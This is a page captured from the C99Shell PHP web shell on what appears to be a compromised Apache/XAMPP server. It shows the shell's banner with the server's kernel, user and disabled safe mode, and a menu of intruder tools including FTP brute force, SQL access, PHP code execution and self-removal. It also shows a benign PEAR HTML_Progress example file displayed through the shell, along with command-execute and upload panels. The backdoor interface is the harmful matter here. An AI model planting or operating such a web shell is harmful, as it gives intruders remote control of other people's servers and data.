!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/HTML_Progress/examples/monitor/   drwxr-xr-x
Free 13.52 GB of 61.93 GB (21.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     method_callback.php (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Monitor example with a new form template and progress bar
 * color scheme. Used a class-method as user callback.
 *
 * @version    $Id: method_callback.php,v 1.3 2005/08/28 14:57:57 farell Exp $
 * @author     Laurent Laville <pear@laurent-laville.org>
 * @package    HTML_Progress
 * @subpackage Examples
 */

require_once 'HTML/Progress/monitor.php';

/**
 * @ignore
 */
class Progress_Default2 extends HTML_Progress_UI
{
    function 
Progress_Default2()
    {
        
parent::HTML_Progress_UI();

        
$this->setProgressAttributes(array('background-color' => '#e0e0e0'));
        
$this->setStringAttributes(array('color' => '#996''background-color' => '#CCCC99'));
        
$this->setCellAttributes(array('active-color' => '#996'));
    }
}

/**
 * @ignore
 */
class myClassHandler
{
    function 
myMethodHandler($progressValue, &$bar)
    {
        if (
fmod($progressValue,10) == 0) {
            echo 
"myMethodHandler -> progress value is = $progressValue <br/>\n";
        }
        
$bar->sleep();
    }
}
$obs = new myClassHandler();

$monitor = new HTML_Progress_Monitor('frmMonitor3', array(
    
'button' => array('style' => 'width:80px;')
    )
);

$progress = new HTML_Progress();
$progress->setUI('Progress_Default2');   // Attach a progress ui-model
$progress->setAnimSpeed(20);
$progress->setProgressHandler(array(&$obs'myMethodHandler'));

$monitor->setProgressElement($progress);
?>
<html>
<head>
<title>ProgressBar Monitor - Default renderer </title>
<style type="text/css">
<!--
.progressStatus {
    color:#000000;
    font-size:10px;
}
<?php echo $monitor->getStyle(); ?>
// -->
</style>
<script type="text/javascript">
<!--
<?php echo $monitor->getScript(); ?>
//-->
</script>
</head>
<body>


<?php
$renderer 
=& HTML_QuickForm::defaultRenderer();
$renderer->setFormTemplate('
<form{attributes}>
  <table width="450" border="0" cellpadding="3" cellspacing="2" bgcolor="#CCCC99">
  {content}
  </table>
</form>
'
);
$renderer->setHeaderTemplate('
  <tr>
    <td style="white-space:nowrap;background:#996;color:#ffc;" align="left" colspan="2"><b>{header}</b></td>
  </tr>
'
);
$monitor->accept($renderer);

echo 
$renderer->toHtml();
$monitor->run();
?>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4824 ]--